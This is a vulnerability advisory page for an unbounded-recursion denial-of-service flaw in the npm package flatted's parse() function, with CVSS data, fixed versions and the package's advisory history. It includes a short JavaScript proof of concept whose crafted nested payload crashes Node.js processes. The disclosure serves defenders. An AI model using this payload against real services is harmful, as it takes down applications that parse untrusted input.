High

flatted vulnerable to unbounded recursion DoS in parse() revive phase

  • Disclosed: 13.03.2026
  • Updated: 11.10.2026 10:22

Summary

flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.

Impact

Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.

flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.

Proof of Concept

js
const flatted = require('flatted');

// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
  arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';

const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded

Fix

The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.

Affected Versions

All versions prior to the PR #88 fix.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package flatted < 3.4.0 3.4.0

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-674
Platform
npm
Package
flatted
Disclosed
13.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-25h7-pfq9-p65f - CC BY 4.0

Vulnerability history: flatted

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
2
First → latest
03.2026 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 2

Disclosures per year

  1. 2026: 2
  1. High CVE-2026-33228 < 3.4.2 3.4.2
  2. flatted vulnerable to unbounded recursion DoS in parse() revive phase this entry
    High · 7.5 CVE-2026-32141 < 3.4.0 3.4.0

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